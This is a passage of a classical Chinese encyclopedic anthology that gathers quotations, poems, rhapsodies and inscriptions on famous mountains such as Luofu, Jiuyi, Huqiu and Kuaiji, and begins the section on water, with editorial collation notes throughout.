而 相 属 . 长 松 落 落 . 卉 木\n蒙 蒙 . 青 罗 落 漠 而 上 覆 . 穴 溜 滴 沥 而 下 通 . 高 岫 带 乎 岩\n侧 . 洞 房 隐 于 云 中 . 忽 吾 睹 兮 二 老 . 时 采 薇 以 从 容 . 于\n是 乎 . 乃 讯 其 所 求 . 问 其 所 脩 . 州 域 乡 党 . 亲 戚 疋 俦 .\n何 务 何 乐 . 而 并 兹 游 矣 . 其 二 老 乃 答 余 曰 . 吾 殷 之 遗 民\n也 . 厥 胤 孤 竹 . 作 蕃 北 湄 . 少 名 叔 齐 . 长 曰 伯 夷 . 闻 西\n伯 昌 之 善 ● . ○ 明 本 作 教 . 育 年\n艾 于 胡 耇 . 遂 相 携 而 随 之 . 冀 寄 命 乎 余 寿 . 而 天 命 之 不\n常 . 伊 事 变 而 无 方 . 昌 伏 事 而 毕 命 . 子 忽 遘 其 不 祥 . 乃\n兴 师 于 牧 野 . 遂 干 戈 以 伐 商 . 乃 弃 之 而 来 游 . 担 ○\n明 本 作 誓 . 不 步 于 其 乡 . 余 ● 口 而 不 食 . 并 卒 命 于\n山 傍 .\n【 铭 】 后 汉 班 固 燕 然 山 铭 曰 . 勒 以 八 阵 . 莅 以 威 神 .\n玄 甲 耀 日 . 朱 旗 绛 天 . 遂 陵 高 阙 . 下 鸡 鹿 . 经 碛 卤 . 绝\n大 漠 . 斩 温 禺 以 舋 鼓 . 血 尸 逐 以 染 锷 . 然 后 四 校 横 徂 .\n星 流 彗 扫 . 萧 条 万 里 . 野 无 遗 寇 . 于 是 城 灭 区 殚 . 反 旆\n而 旋 . 铄 王 师 兮 征 荒 裔 . 剿 凶 虐 兮 截 海 外 . 敻 其 邈 兮 亘\n地 界 . 封 神 丘 兮 建 隆 嵑 . 熙 帝 载 兮 振 万 世 .\n袁 彦 伯 罗 浮 山 疏 曰 . 遥 望 石 楼 直 上 . 当 十 余 里 许 . 石 楼 之 于 山 顶 . 十 分 之 一 耳 . 去 县 三 十 里 . 便 见 山 基 . 至 所 登 处 . 当 百 里 许 . 山 皆 平 敞 极 目 .\n罗 浮 山 记 曰 . 罗 浮 者 . 盖 总 称 焉 . 罗 . 罗 山 也 . 浮 . 浮 山 也 . 二 山 合 体 . 谓 之 罗 浮 . 在 增 城 博 罗 二 县 之 境 . 旧 说 . 罗 浮 高 三 千 丈 . 有 七 十 石 室 . 七 十 二 长 溪 . 神 明 神 禽 . 玉 树 朱 草 .\n【 诗 】 宋 王 叔 之 游 罗 浮 山 诗 曰 . 庵 蔼 灵 岳 . 开 景 神 封 . 绵 界 盘 趾 . 中 天 举 峰 . 孤 楼 侧 挺 . 增 岫 回 重 . 风 云 秀 体 . 卉 木 媚 容 .\n【 赋 】 宋 谢 灵 运 罗 浮 山 赋 曰 . 客 夜 梦 见 延 陵 茅 山 . 在\n京 之 东 南 . 明 旦 得 洞 经 . 所 载 罗 浮 山 事 云 . 茅 山 是 洞 庭\n口 . 南 通 罗 浮 . 正 与 梦 中 意 相 会 . 遂 感 而 作 罗 浮 山 赋 曰\n. 若 乃 茅 公 之 说 . 神 化 是 悉 . 数 非 亿 度 . 道 单 悒 憰 . 古\n冗 切 . ○ 冗 当 作 穴 . 见 广 韵 屑 韵 . 洞 四 有 九 . 此 惟\n其 七 . 潜 夜 引 辉 . 幽 境 朗 日 . 故 曰 朱 明 之 阳 宫 . 耀 真 之\n阴 室 . 洞 穴 之 宝 衢 . 海 灵 之 云 术 . 伊 离 情 之 易 结 . 谅 沉\n念 之 罗 浮 . 发 潜 梦 于 永 夜 . 若 愬 波 而 乘 桴 . 越 扶 屿 之 缅\n涨 . 上 增 龙 之 合 流 . 鼓 兰 枻 以 水 宿 . 杖 桂 策 以 山 游 .\n楚 辞 九 歌 曰 . 九 疑 纷 兮 并 近 . ○ 九 歌 作 迎 .\n淮 南 子 曰 . 九 疑 之 南 . 陆 事 寡 而 水 事 多 .\n汉 书 曰 . 武 帝 南 巡 狩 . 至 于 盛 唐 . 望 祀 虞 舜 于 九 疑 . 事 具 巡 狩 部 .\n湘 中 记 曰 . 九 疑 山 . 在 营 道 县 . 九 山 相 似 . 行 者 疑 惑 . 故 名 九 疑 .\n名 山 略 记 曰 . 九 疑 山 . 汉 末 有 张 礼 正 . 魏 时 有 治 明 期 . 南 游 九 疑 . 礼 正 服 黄 精 . 明 期 服 泽 写 柏 实 . 后 俱 适 西 城 君 . 受 虹 景 方 . 兼 以 守 一 . 内 外 洞 澈 . 东 华 迎 而 乘 云 升 天 .\n【 诗 】 庾 阐 采 药 诗 曰 . 采 药 灵 山 . 结 驾 登 九 疑 . 悬 岩 漏 石 髓 . 芳 谷 挺 丹 芝 . 泠 泠 云 珠 落 . 漼 漼 玉 蜜 滋 . 鲜 景 染 冰 颜 . 妙 气 翼 冥 期 .\n【 碑 】 汉 蔡 邕 九 疑 山 碑 曰 . 岩 岩 九 疑 . 峻 极 于 天 . 触\n石 肤 合 . 兴 播 建 云 . 时 风 嘉 雨 . 浸 润 下 民 . 芒 芒 南 土 .\n实 赖 厥 勋 . 逮 于 虞 舜 . 圣 德 光 明 . 克 谐 顽 傲 . 以 孝 蒸 蒸\n. 师 锡 帝 世 . 尧 而 授 征 . 受 终 文 祖 . 琁 玑 是 承 . 太 阶 以\n平 . 人 以 有 终 . 遂 葬 九 疑 . 解 体 而 升 . 登 此 崔 嵬 . 托 灵\n神 仙 .\n山 部 下 虎 丘 山 蒜 山 石 帆 山 石 鼓 山 石 门 山 太 平 山 岷 山\n会 稽 诸 山 交 广 诸 山\n吴 越 春 秋 曰 . 阖 庐 死 . 葬 于 国 西 北 . 名 虎 丘 . 穿 土 为 川 . 积 壤 为 丘 . 发 五 都 之 士 十 万 人 . 共 治 千 里 . 使 象 摙 土 . 冢 池 四 周 . 水 深 丈 余 . 椁 三 重 . 倾 水 银 为 池 . 池 广 六 十 步 . 黄 金 珠 玉 为 凫 雁 . 扁 诸 之 剑 鱼 肠 三 千 在 焉 . 葬 之 已 三 日 . 金 精 上 杨 . 为 白 虎 据 坟 . 故 曰 虎 丘 .\n王 珣 虎 丘 记 曰 . 山 大 势 四 面 周 岭 . 南 则 是 山 迳 . 两 面 壁 立 . 交 林 上 合 . 蹊 路 下 通 . 升 降 窈 窕 . 亦 不 卒 至 .\n【 诗 】 张 正 见 从 永 阳 王 游 虎 丘 山 诗 曰 . 沧 波 壮 郁 岛 . 洛 邑 镇 崇 芒 . 未 若 兹 山 丽 . 岧 峣 擅 水 乡 . 地 灵 侔 少 室 . 涂 艰 像 太 行 . 重 岩 摽 虎 据 . 九 曲 峻 羊 肠 . 溜 深 涧 无 底 . 风 幽 谷 自 凉 . 宝 沉 余 玉 气 . 剑 隐 绝 星 光 . 白 云 多 异 影 . 丹 桂 有 藂 香 . 远 看 银 台 竦 . 洞 塔 耀 山 庄 . 瑞 草 生 金 地 . 天 花 照 石 梁 .\n【 序 】 晋 顾 恺 之 虎 丘 山 序 曰 . 吴 城 西 北 . 有 虎 丘 山 者 . 含 真 藏 古 . 体 虚 穷 玄 . 隐 嶙 陵 堆 之 中 . 望 形 不 出 常 阜 . 至 乃 岩 崿 . 绝 于 华 峰 .\n陈 顾 野 王 虎 丘 山 序 曰 . 夫 少 室 作 镇 . 以 峻 极 而 摽 奇 . 太 华 神 掌 . 以 削 成 而 称 贵 . 若 兹 山 者 . 高 不 摡 云 . 深 无 藏 影 . 卑 非 培 塿 . 浅 异 棘 林 . 秀 壁 数 寻 . 被 杜 兰 与 苔 藓 . 椿 枝 十 仞 . 挂 藤 葛 与 悬 萝 . 曲 涧 潺 湲 . 脩 篁 荫 映 . 路 若 绝 而 复 通 . 石 将 颓 而 更 缀 . 抑 巨 丽 之 名 山 . 信 大 吴 之 胜 壤 . 若 乃 九 功 六 义 之 兴 . 依 永 和 声 之 制 . 志 由 兴 作 . 情 以 词 宣 . 形 言 谐 于 韶 夏 . 成 文 畅 于 钟 律 . 由 来 尚 矣 . 未 有 登 高 能 赋 . 而 韬 斐 丽 之 章 . 入 谷 忘 归 . 而 忽 铿 锵 之 节 . 故 总 辔 齐 镳 . 竞 雕 虫 于 山 水 . 云 合 雾 集 . 争 歌 颂 于 林 泉 . 于 时 风 清 邃 谷 . 景 丽 脩 峦 . 兰 佩 堪 纫 . 胡 绳 可 索 . 林 花 翻 洒 . 乍 飏 于 兰 皋 . 山 禽 啭 响 . 时 弄 声 于 乔 木 . 班 草 班 荆 . 坐 磻 石 之 上 . 濯 缨 濯 足 . 就 沧 浪 之 水 . 倾 缥 瓷 而 酌 旨 酒 . 剪 绿 叶 而 赋 新 诗 . 肃 尔 若 与 三 迳 齐 踪 . 枪 然 似 共 九 成 偕 韵 . 盛 矣 哉 . 聊 述 时 事 . 寄 之 翰 墨 .\n【 书 】 陈 张 种 与 沈 炯 书 曰 . 虎 丘 山 者 . 吴 岳 之 神 秀 者 也 . 虽 复 峻 极 异 于 九 天 . 隐 磷 殊 于 太 一 . 衿 带 城 傍 . 独 超 众 岭 . 控 绕 川 泽 . 顾 绝 群 岑 . 若 其 峰 崖 刻 削 . 穷 造 化 之 瑰 诡 . 绝 涧 杳 冥 . 若 鬼 神 之 髣 佛 . 珍 木 灵 草 . 茂 琼 枝 与 碧 叶 . 飞 禽 走 兽 . 必 负 义 而 膺 仁 . 是 以 历 代 高 贤 . 轻 举 栖 托 . 梵 台 云 起 . 宝 刹 星 悬 . 自 非 玉 牒 开 祥 . 金 精 蕴 耀 . 岂 其 神 怪 . 若 此 者 乎 .\n陈 沈 炯 答 书 曰 . 若 乃 三 江 五 湖 . 洞 庭 巨 丽 . 写 长 洲 之\n茂 苑 . 登 九 曲 之 层 台 . 山 高 水 深 . 云 蒸 雾 吐 . 其 中 之 秀\n异 者 . 实 虎 丘 之 灵 阜 焉 . 冬 桂 夏 柏 . 长 萝 脩 竹 . 灵 源 秘\n洞 . 转 侧 超 绝 . 远 涧 深 崖 . 交 罗 户 穴 .\n山 谦 之 南 徐 州 记 曰 . 蒜 山 北 江 中 . 有 伏 牛 山 .\n【 诗 】 宋 颜 延 之 侍 游 蒜 山 诗 曰 . 睿 思 缠 故 里 . 巡 驾 匝 旧 坰 . 陟 峰 腾 辇 路 . 寻 云 抗 瑶 薨 . ○ 文 选 二 十 二 作 甍 . 春 江 壮 风 涛 . 兰 野 茂 荑 英 . 宣 游 弘 下 济 . 穷 远 凝 圣 情 .\n宋 谢 庄 侍 宴 蒜 山 诗 曰 . 龙 旌 拂 纡 景 . 凤 盖 起 流 云 . 转\n蕙 方 因 委 . 层 华 正 氛 氲 . 烟 竟 山 郊 远 . 雾 罢 江 天 分 . 调\n石 飞 延 露 . 裁 金 起 承 云 .\n谢 灵 运 游 名 山 志 曰 . 破 石 溪 南 二 百 余 里 . 又 有 石 帆 . 脩 广 与 破 石 等 度 . 质 色 亦 同 . 传 云 . 古 有 人 以 破 石 之 半 为 石 帆 . 故 名 彼 为 石 帆 . 此 名 破 石 .\n【 铭 】 宋 鲍 昭 石 帆 铭 曰 . 应 龙 剖 流 . 息 石 横 波 . 下 潀\n地 轴 . 上 獦 星 罗 . 牵 湘 引 汉 . 欱 蠡 吞 沱 . 西 历 岷 . 北\n写 淮 河 . 渺 淼 泓 蔼 . 积 广 连 深 . 沦 天 测 际 . 亘 海 穷 阴 .\n云 旌 未 起 . 风 柯 不 吟 . 崩 涛 山 逐 . 郁 浪 雷 沉 . 穆 戎 遂 留\n. 昭 御 不 还 . 徒 悲 猿 鹤 . 空 驾 沧 烟 .\n旧 说 . 邺 西 北 有 石 鼓 . 悬 着 山 旁 . 鸣 则 有 军 兵 动 . 零 陵 永 正 乡 . 有 鸣 石 二 所 . 其 一 状 如 鼓 . 俗 名 石 鼓 . 泉 陵 县 有 石 鼓 . 旧 闻 数 十 里 . 今 无 声 .\n王 韶 之 南 康 记 曰 . 宁 都 溪 之 西 . 有 一 山 . 状 如 鼓 . 相 传 谓 之 石 鼓 . 去 县 三 里 . 壁 立 百 余 丈 . 赫 然 似 朝 霞 初 晖 . 异 于 凡 石 .\n盛 弘 之 荆 州 记 曰 . 建 平 郡 南 陵 县 有 石 鼓 . 南 有 五 龙 山 . 山 峰 嶕 峣 . 凌 云 济 竦 . 状 若 龙 形 . 故 因 为 名 .\n【 诗 】 晋 庾 阐 观 石 鼓 诗 曰 . 命 驾 观 奇 逸 . 径 鹜 造 灵 山\n. 朝 济 清 溪 岸 . 夕 憩 五 龙 泉 . 鸣 石 含 潜 响 . 雷 骇 震 九 天\n. 妙 化 非 不 有 . 莫 知 神 自 然 . 翔 霄 拂 翠 岭 . 缘 涧 漱 岩 闲\n. 手 藻 春 泉 洁 . 目 玩 阳 葩 鲜 .\n周 景 式 庐 山 记 曰 . 石 门 山 在 康 皇 东 北 八 十 余 里 . 是 一 山 之 大 谷 . 有 涧 水 . 亦 名 石 门 涧 . 吐 源 浚 远 . 为 众 泉 之 宗 . 每 夏 霖 秋 潦 . 转 石 发 树 . 声 动 数 十 里 .\n刘 桢 京 口 记 曰 . 石 门 . 二 山 头 相 对 . 高 二 十 余 丈 . 广 六 十 余 步 . 谓 为 石 门 . 行 道 所 经 .\n谢 灵 运 名 山 志 曰 . 石 门 山 . 两 岩 闲 微 有 门 形 . 故 以 为 称 . 瀑 布 飞 泻 . 丹 翠 交 曜 .\n【 诗 】 宋 谢 灵 运 登 石 门 最 高 顶 诗 曰 . 晨 策 寻 绝 壁 . 夕 宿 在 山 栖 . 疏 峰 抗 高 馆 . 对 岭 临 回 溪 . 长 林 罗 户 穴 . 积 石 拥 基 阶 . 连 岩 觉 路 塞 . 密 竹 使 迳 迷 . 来 人 忘 新 术 . 去 子 惑 故 蹊 . 聒 聒 夕 流 驶 . 噭 噭 夜 猿 啼 . 沉 冥 岂 别 理 . 守 道 自 不 携 . 心 契 九 秋 干 . 目 玩 三 春 荑 . 惜 无 同 怀 客 . 共 登 青 云 梯 .\n又 石 门 岩 上 宿 诗 曰 . 朝 搴 苑 中 兰 . 畏 彼 霜 下 歇 . 暝 还 云 际 宿 . 弄 此 石 上 月 . 鸟 鸣 识 夜 栖 . 木 落 知 风 发 . 异 音 同 致 听 . 殊 响 俱 清 越 . 美 人 竟 不 来 . 阳 阿 徒 晞 发 .\n【 书 】 梁 吴 筠 ○ 按 当 作 均 . 后 同 . 与\n顾 章 书 曰 . 仆 去 月 谢 病 . 还 薜 萝 . 梅 溪 之 西 . 有 石 门\n山 者 . 森 壁 争 霞 . 孤 峰 限 日 . 幽 岫 含 云 . 深 溪 蓄 翠 . 蝉\n吟 鹤 唳 . 水 响 猿 啼 . 英 英 相 杂 . 绵 绵 成 韵 . 既 素 重 幽 居\n. 遂 葺 宇 其 上 . 幸 富 菊 花 . 偏 饶 竹 实 . 山 谷 所 资 . 于 斯\n已 办 . 仁 智 所 乐 . 岂 徒 语 哉 .\n孔 灵 符 会 稽 记 曰 . 余 姚 江 源 出 太 平 山 . 东 至 浃 江 口 入 海 .\n【 诗 】 齐 孔 稚 珪 游 太 平 山 诗 曰 . 石 险 天 貌 分 . 林 交 日 容 缺 . 阴 涧 落 春 荣 . 寒 岩 留 夏 雪 .\n【 铭 】 晋 孙 绰 太 平 山 铭 曰 . 隗 峨 太 平 . 峻 逾 华 霍 . 秀\n岭 樊 缊 . 奇 峰 挺 崿 . 上 干 翠 霞 . 下 笼 丹 壑 . 有 士 冥 游 .\n默 往 奇 托 . 肃 形 枯 林 . 映 心 幽 漠 . 亦 既 觏 止 . 涣 焉 融 滞\n. 悬 栋 翠 微 . 飞 宇 云 际 . 重 峦 蹇 产 . 回 溪 萦 带 . 被 以 青\n松 . 洒 以 素 濑 . 流 风 伫 芳 . 翔 云 停 蔼 .\n河 图 曰 . 岷 山 之 地 为 井 络 . 帝 以 会 昌 . 神 以 建 福 . 上 为 天 井 .\n【 赞 】 晋 郭 璞 岷 山 赞 曰 . 岷 山 之 精 . 上 络 东 井 . 始 出\n一 勺 . 终 致 淼 溟 . 作 纪 南 夏 . 天 清 地 静 .\n孔 子 家 语 曰 . 禹 会 诸 侯 于 涂 山 . 防 风 氏 后 至 . 禹 戮 之 . 其 骨 专 车 .\n越 绝 书 曰 . 鸡 山 豕 山 者 . 勾 践 以 畜 鸡 豕 . 将 伐 吴 . 以 食 死 士 .\n孔 皋 会 稽 记 . 永 兴 县 东 北 九 十 里 . 有 余 山 . 传 曰 . 是 涂 山 . 案 越 书 . 禹 娶 于 涂 山 . 涂 山 去 山 阴 五 十 里 . 捡 其 里 数 . 似 其 处 也 .\n又 县 东 南 十 八 里 . 有 射 的 山 . 远 望 的 的 如 射 侯 . 谓 之 射 的 . 射 的 之 西 . 有 石 室 . 壁 方 二 丈 . 谓 之 射 堂 . 传 云 . 羽 客 之 所 游 憩 . 土 人 常 以 此 占 谷 食 贵 贱 . 射 的 明 则 米 贱 . 闇 则 贵 . 喭 曰 . 射 的 白 . 一 百 . 射 的 玄 . 一 千 .\n又 曰 . 县 东 北 六 十 里 . 有 土 城 山 . 勾 践 索 美 女 以 献 吴 王 . 得 诸 暨 罗 山 卖 薪 女 西 施 郑 旦 . 先 教 习 于 土 城 山 . 山 边 有 石 . 云 是 西 施 瀚 ○ 太 平 御 览 四 十 七 作 澣 . 沙 石 .\n又 曰 . 东 有 秦 望 山 . 昔 秦 始 皇 登 此 . 使 李 斯 勒 石 . 其 碑 见 在 .\n孔 灵 符 会 稽 山 记 曰 . 会 稽 山 南 . 有 宛 委 山 . 其 上 有 石 . 俗 呼 石 匮 . 壁 立 干 云 . 有 悬 度 之 险 . 升 者 累 梯 . 然 后 至 焉 . 昔 禹 治 洪 水 . 厥 功 未 就 . 乃 跻 于 此 山 . 发 石 匮 . 得 金 简 玉 字 . 以 知 山 河 体 势 . 于 是 疏 导 百 川 . 各 尽 其 宜 .\n又 曰 . 射 的 山 西 南 水 中 . 有 白 鹤 . 常 为 仙 人 取 箭 . 曾 刮 壤 寻 索 . 遂 成 此 山 也 .\n【 诗 】 晋 王 彪 之 登 会 稽 刻 石 山 诗 曰 . 隆 山 峨 . 崇 峦 嶕 峣 . 傍 觌 沧 洲 . 仰 拂 玄 霄 . 文 命 远 会 . 风 淳 道 辽 . 秦 皇 遐 巡 . 迈 兹 英 豪 . 宅 灵 基 阿 . 铭 迹 峻 峤 . 青 阳 曜 景 . 时 和 气 淳 . 脩 岭 增 鲜 . 长 松 挺 新 . 飞 鸿 振 羽 . 腾 龙 跃 鳞 .\n【 赞 】 晋 郭 璞 会 稽 山 赞 曰 . 禹 徂 会 稽 . 爰 朝 群 臣 . 不\n虔 是 讨 . 乃 戮 长 人 . 玉 匮 表 夏 . 玄 石 勒 秦 .\n又 曰 . 南 海 始 昌 县 . 有 一 石 . 望 之 似 牛 向 江 . 名 曰 牛 鼻 山 . 县 西 有 夫 卢 山 . 高 入 云 霄 . 世 传 云 . 上 有 湖 水 . 至 甲 戌 日 . 辄 闻 山 上 有 鼓 角 笳 箫 鸣 响 . 又 曰 . 南 海 四 会 县 . 有 金 岗 山 . 行 人 往 往 见 金 人 见 形 岗 侧 .\n又 曰 . 东 莞 宝 安 县 . 有 参 里 山 . 传 云 . 曾 参 纯 孝 . 其 所 居 山 林 . 后 以 为 名 .\n又 曰 . 郁 林 郡 北 . 有 大 山 . 其 高 隐 天 . 上 有 池 . 有 石 牛 在 池 下 . 民 常 祀 之 . 岁 旱 . 百 姓 杀 牛 祈 雨 . 以 牛 血 和 泥 . 厚 泥 石 牛 背 . 祠 毕 . 天 雨 洪 注 . 洗 石 牛 背 泥 尽 而 后 晴 .\n刘 欣 期 交 州 记 曰 . 浮 石 山 . 海 中 而 峙 . 高 数 十 丈 . 浮 在 水 上 .\n又 曰 . 有 一 山 . 神 功 刻 镂 . 若 射 堋 . 去 石 堂 口 百 步 . 夜 常 闻 射 声 .\n裴 氏 广 州 记 曰 . 苍 梧 彰 平 县 . 有 石 膏 山 . 望 之 皎 若 霜 雪 .\n【 赋 】 宋 谢 灵 运 岭 表 赋 曰 . 若 乃 长 山 跨 . 外 内 乖 隔\n. 下 无 伏 流 . 上 无 夷 迹 . 麇 兔 望 岗 而 旋 归 . 鸿 雁 睹 峰 而\n反 翮 . 既 陟 麓 而 践 阪 . 遂 升 降 于 山 畔 . 顾 后 路 之 倾 巘 .\n眺 前 磴 之 绝 岸 . 看 朝 云 之 抱 岫 . 听 夕 流 之 注 涧 . 罗 石 棋\n布 . 怪 谲 横 越 . 非 山 非 阜 . 如 楼 如 ● . 斑 采 类 绣 . 明 白\n若 月 . 萝 蔓 绝 攀 . 苔 衣 流 滑 .\n水 部 上 总\n载 水 海 水 河 水 江 水 淮 水 汉 水 洛 水\n尚 书 曰 . 汤 汤 洪 水 方 割 . 荡 荡 怀 山 襄 陵 . 浩 浩 滔 天 .\n谷 梁 传 曰 . 水 北 为 阳 . 水 南 为 阴 .\n左 传 . 污 潦 之 水 . 可 荐 于 鬼 神 . 可 羞 于 王 公 .\n左 传 曰 . 共 工 氏 以 水 纪 官 . 故 为 水 师 而 水 名 .\n说 文 . 浦 . 水 滨 也 .\n礼 记 曰 . 水 曰 清 涤 .\n又 曰 . 今 夫 水 一 勺 之 多 . 及 其 不 测 . 鼋 鼍 鲛 龙 鱼 鳖 生 焉 . 货 财 殖 焉 .\n毛 诗 曰 . 杨 之 水 . 不 流 束 薪 .\n穆 天 子 传 曰 . 天 子 饮 于 溽 水 之 上 .\n尚 书 大 传 曰 . 非 水 无 以 准 万 里 之 平 . 非 水 无 以 通 道 任 重 也 .\n韩 诗 外 传 曰 . 夫 水 者 缘 理 而 行 . 不 遗 小 . 似 有 智 者 . 重 而 下 . 似 有 礼 者 . 蹈 深 不 疑 . 似 有 勇 者 . 鄣 防 而 清 . 似 知 命 者 . 历 险 致 远 . 似 有 德 者 . 天 地 以 成 . 群 物 以 生 . 国 家 以 宁 . 万 事 以 平 . 此 智 者 所 以 乐 于 水 也 .\n又 曰 . 夏 不 数 浴 . 非 爱 水 也 . 冬 不 数 炀 . 非 爱 火 也 .\n论 语 曰 . 智 者 乐 水 .\n又 曰 . 子 在 川 上 . 曰 . 逝 者 如 斯 夫 . 不 舍 昼 夜 .\n老 子 曰 . 上 善 若 水 . 水 善 利 万 物 而 不 争 . 处 众 人 之 所 恶 . 故 几 于 道 .\n文 子 曰 . 混 混 之 水 浊 . 可 以 濯 吾 足 . 青 青 之 水 清 . 可 以 濯 吾 缨 . 事 具 离 骚 . 云 沧 浪 之 水 . 又 曰 . 水 之 性 欲 清 . 沙 石 秽 之 . 人 之 性 欲 平 . 嗜 欲 害 之 .\n晏 子 曰 . 景 公 问 廉 政 何 如 . 对 曰 . 其 行 . 水 也 . 美 哉 水 乎 . 其 浊 无 不 涂 . 其 清 无 不 洒 .\n墨 子 曰 . 古 语 曰 . 君 子 不 镜 于 水 而 镜 于 人 . 镜 于 水 见 面 之 容 . 镜 于 人 则 知 吉 凶 .\n尸 子 曰 . 凡 水 . 其 方 折 者 有 玉 . 其 圆 折 者 有 珠 . 清 水 有 黄 金 . 淮 南 子 亦 云 . 事 具 珠 玉 部 .\n孟 子 曰 . 观 于 海 者 难 为 水 . 游 于 圣 人 之 门 者 难 为 言 .\n又 曰 . 性 犹 湍 水 也 . 决 诸 东 方 则 东 流 . 决 诸 西 方 则 西 流 . 人 性 之 无 分 于 善 恶 也 . 犹 水 之 无 分 于 东 西 也 .\n庄 子 曰 . 水 静 则 明 . 浊 则 混 . 水 静 犹 明 . 而 况 精 神 圣 人 之 心 静 乎 .\n又 曰 . 秋 水 时 至 . 百 川 灌 河 . 涘 涯 之 闲 . 不 辨 牛 马 . 于 是 河 伯 欣 然 自 喜 . 以 天 下 之 美 为 在 己 .\n又 曰 . 夫 水 . 积 也 不 厚 . 则 负 其 大 舟 也 无 力 .\n淮 南 子 曰 . 往 古 之 时 . 九 州 裂 . 水 浩 漾 而 不 息 . 于 是 女 娲 积 芦 灰 以 止 淫 水 . 事 具 帝 王 部 .\n又 曰 . 土 地 各 以 类 生 人 . 是 故 清 水 音 小 . 浊 水 音 大 . 湍 水 人 轻 . 迟 水 人 重 .\n山 海 经 曰 . 剡 山 有 兽 焉 . 名 曰 合 窳 . 见 则 天 下 大 水 . 其 上 有 水 焉 . 甚 寒 而 清 . 帝 台 之 浆 水 也 .\n玄 中 记 曰 . 天 下 之 多 者 水 焉 . 浮 天 载 地 . 高 下 无 不 至 . 万 物 无 不 润 .\n博 物 志 曰 . 有 八 流 水 出 名 山 . 渭 出 鸟 鼠 . 漾 出 嶓 冢 . 洛 出 熊 耳 . 颍 出 少 室 . 汝 出 燕 泉 . 泗 出 陪 尾 . 淄 出 月 台 . 沂 出 太 山 .\n永 嘉 郡 记 曰 . 有 柘 林 水 . 出 建 安 吴 兴 县 . 有 梧 桐 水 . 有 两 源 . 一 出 松 阳 . 有 桃 支 水 . 出 东 阳 长 山 县 .\n湘 中 记 曰 . 湘 水 至 清 . 虽 深 五 六 丈 . 见 底 了 了 . 石 子 如 樗 蒲 矢 . 五 色 鲜 明 . 白 沙 如 霜 雪 . 赤 岸 如 朝 霞 .\n抱 朴 子 曰 . 左 慈 以 气 禁 水 . 水 为 逆 流 一 二 丈 . 禁 水 着 中 庭 露 之 . 大 寒 不 冰 .\n华 阳 国 志 曰 . 朱 仓 . 少 受 学 于 蜀 郡 . 豆 屑 饮 水 以 讽 诵 . 同 业 等 怜 其 贫 . 给 米 ● . 终 不 受 .\n搜 神 记 曰 . 汉 末 . 零 陵 太 守 有 女 . 悦 门 下 书 佐 . 使 婢 取 盥 手 水 饮 之 而 有 娠 . 既 而 生 子 . 至 能 行 . 太 守 抱 儿 . 使 求 其 父 . 儿 直 上 书 佐 膝 . 书 佐 推 之 . 儿 仆 地 为 水 .\n车 颍 秦 书 曰 . 王 猛 攻 邺 . 慕 容 评 距 猛 . 而 恒 卖 水 与 军 人 . 众 思 为 乱 . 猛 因 得 破 之 .\n续 述 征 记 曰 . 梁 邹 城 西 . 有 笼 水 . 云 齐 孝 妇 诚 感 神 明 . 涌 泉 发 于 室 内 . 潜 以 绩 笼 覆 之 . 由 是 无 负 汲 之 劳 . 及 家 人 疑 之 . 时 其 出 而 搜 其 室 . 试 发 此 笼 . 而 泉 遂 濆 涌 . 流 漂 居 宇 . 故 名 曰 笼 水 .\n【 诗 】 陈 祖 孙 登 咏 水 诗 曰 . 龙 川 紫 阙 映 . 珠 浦 碧 沙 沉 . 岸 阔 莲 香 远 . 流 清 云 影 深 . 风 潭 如 拂 镜 . 山 溜 似 调 琴 . 请 君 看 皎 洁 . 知 有 淡 然 心 .\n【 赋 】 魏 文 帝 济 川 赋 曰 . 临 济 川 之 层 淮 . 览 洪 波 之 容 裔 . 濞 腾 杨 以 相 薄 . 激 长 风 而 亟 逝 . 漫 浩 汗 而 难 测 . 眇 不 睹 其 垠 际 . 于 是 龟 龙 神 嬉 . 鸿 鸾 群 翔 . 鳞 介 霍 驿 . 载 止 载 行 . 俯 唼 菁 藻 . 仰 餐 若 芳 . 永 号 长 吟 . 延 首 相 望 . 美 玉 昭 晰 以 曜 辉 . 明 珠 灼 灼 而 流 光 . 于 是 游 览 既 猒 . 日 亦 西 倾 . 朱 旗 电 曜 . 击 鼓 雷 鸣 . 长 驱 风 厉 . 悠 尔 北 征 . 思 魏 都 以 偃 息 . 托 华 屋 而 遨 游 . 酌 玄 清 于 金 罍 . 腾 羽 觞 以 献 酬 .\n又 临 涡 赋 曰 . 建 安 ○ 初 学 记 九 . 又 二 十 二 . 太 平 御 览 三 百 五 十 九 下 有 十 字 . 此 脱 . 八 年 . 经 东 国 . 遵 涡 水 . 相 佯 乎 树 下 . 驻 马 书 鞭 . 作 临 涡 之 赋 曰 . 荫 高 树 兮 临 曲 涡 . 微 风 起 兮 水 增 波 . 鱼 颉 颃 兮 鸟 逶 迤 . 雌 雄 鸣 兮 声 相 和 . 蓱 藻 生 兮 散 茎 柯 . 春 木 繁 兮 发 丹 华 .\n晋 应 贞 临 丹 赋 曰 . 陟 绵 冈 之 迢 邈 . 临 窈 谷 之 浚 遐 . 览 丹 源 之 冽 泉 . 眷 悬 流 之 清 波 . 漱 玄 濑 而 漾 沚 . 顺 黄 崖 而 荡 博 . 激 重 岩 之 绝 根 . 拂 崇 丘 之 飞 崿 . 然 后 阴 渠 洞 出 . 阳 浍 旁 开 . 倏 熠 高 鹜 . 皓 ● 长 怀 . 盘 溢 郁 没 . 云 转 飙 回 . 屏 侧 为 之 飞 陨 . 壁 岸 为 之 陂 隤 . 列 以 青 林 . 荫 以 绿 枝 . 柽 松 蓊 茸 于 其 侧 . 杨 柳 婀 娜 乎 其 下 . 则 ○ 则 上 有 脱 文 . 高 溜 承 崖 . 悬 泉 属 岭 . 别 流 分 注 . 冰 莹 玉 静 . 清 波 引 镜 . 形 无 遁 影 .\n晋 左 九 嫔 涪 沤 赋 曰 . 览 庶 类 之 肇 化 . 何 涪 沤 之 独 灵 . 禀 阴 精 以 运 景 . 因 落 雨 而 结 形 . 不 系 根 于 独 立 . 故 假 物 以 资 生 . 体 珠 光 之 皎 皎 . 若 凝 霜 之 初 成 . 色 鲜 熠 以 荧 荧 . 似 融 露 之 将 渟 . 亡 不 长 消 . 存 不 久 寄 . 其 成 不 欲 难 . 其 败 亦 以 易 也 .\n【 赞 】 晋 顾 凯 之 水 赞 曰 . 湛 湛 若 凝 . 开 神 以 质 . 乘 风 檀 澜 . 妙 齐 得 一 .\n晋 庾 肃 之 水 赞 曰 . 湛 湛 涵 渌 . 清 澜 澄 浚 . 妙 质 柔 明 . 云 深 夜 润 .\n晋 殷 仲 堪 水 赞 曰 . 大 象 无 形 . 气 以 分 . 淡 淡 冲 津 . 质 有 虽 虚 . 清 澜 可 濑 . 